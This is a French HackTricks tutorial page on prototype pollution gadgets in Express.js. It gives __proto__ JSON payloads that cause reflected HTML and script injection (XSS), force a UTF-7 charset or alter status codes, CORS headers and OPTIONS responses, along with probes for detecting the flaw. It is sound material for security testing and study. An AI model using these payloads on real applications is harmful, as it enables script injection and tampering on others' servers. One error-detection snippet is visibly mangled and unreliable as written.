Gadgets de Pollution de Prototype Express

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Servir des réponses XSS

Pour plus de détails jetez un œil à la recherche originale

Changer le type de contenu JSON en HTML

Dans une application Express utilisant une réponse de type contenu JSON et réfléchissant un JSON :

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

Dans ces cas, le XSS n'est normalement pas possible avec un type de contenu JSON. Cependant, avec la pollution de prototype, nous pouvons confondre Express pour servir une réponse HTML. Cette vulnérabilité repose sur l'application utilisant res.send(obj) et utilisant le parseur de corps avec le type de contenu application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

En polluant les propriétés body et _body, il est possible de faire en sorte qu'Express serve le type de contenu HTML et reflète la propriété _body, entraînant un XSS stocké.

Rendre UTF7

Il est possible de faire en sorte qu'Express rende le contenu UTF-7 avec :

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Techniques de scan sûres

Espaces JSON

Le PP suivant ajoutera un espace supplémentaire aux attributs à l'intérieur d'un JSON, ce qui ne perturbera pas la fonctionnalité :

json
{ "__proto__": { "json spaces": " " } }

Alors, un JSON réfléchi ressemblera à :

json
{"foo":  "bar"} -- Note the extra space

En-têtes exposés

Le gadget PP suivant fera en sorte que le serveur renvoie l'en-tête HTTP : Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Il nécessite que le module CORS soit installé

Méthode OPTIONS

Avec le payload suivant, il est possible de cacher une méthode d'une réponse OPTIONS :

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Statut

Il est possible de changer le code de statut retourné en utilisant le payload PP suivant :

json
{ "__proto__": { "status": 510 } }

Erreur

Lorsque vous assignez à un prototype avec un primitif tel qu'une chaîne, cela produit une opération no-op car le prototype doit être un objet. Si vous essayez d'assigner un objet prototype à Object.prototype lui-même, cela lancera une exception. Nous pouvons utiliser ces deux comportements pour détecter si la pollution du prototype a réussi :

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Valeur réfléchie

Lorsqu'une application inclut un objet dans sa réponse, créer un attribut avec un nom inhabituel en plus de __proto__ peut être révélateur. En particulier, si seul l'attribut inhabituel est renvoyé dans la réponse, cela pourrait indiquer la vulnérabilité de l'application :

json
{ "unusualName": "value", "__proto__": "test" }

De plus, dans des scénarios où une bibliothèque comme Lodash est utilisée, définir une propriété à la fois via la pollution de prototype (PP) et directement à l'intérieur de l'objet offre une autre approche de diagnostic. Si une telle propriété est omise de la réponse, cela suggère que Lodash vérifie l'existence de la propriété dans l'objet cible avant de fusionner :

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Divers

Autoriser les points

Il existe une option dans Express qui vous permet de créer des objets à partir des paramètres de la chaîne de requête.
Vous pourriez certainement l'utiliser dans une chaîne de bogues pour exploiter une vulnérabilité de pollution de prototype.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz crée un objet dans Node.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks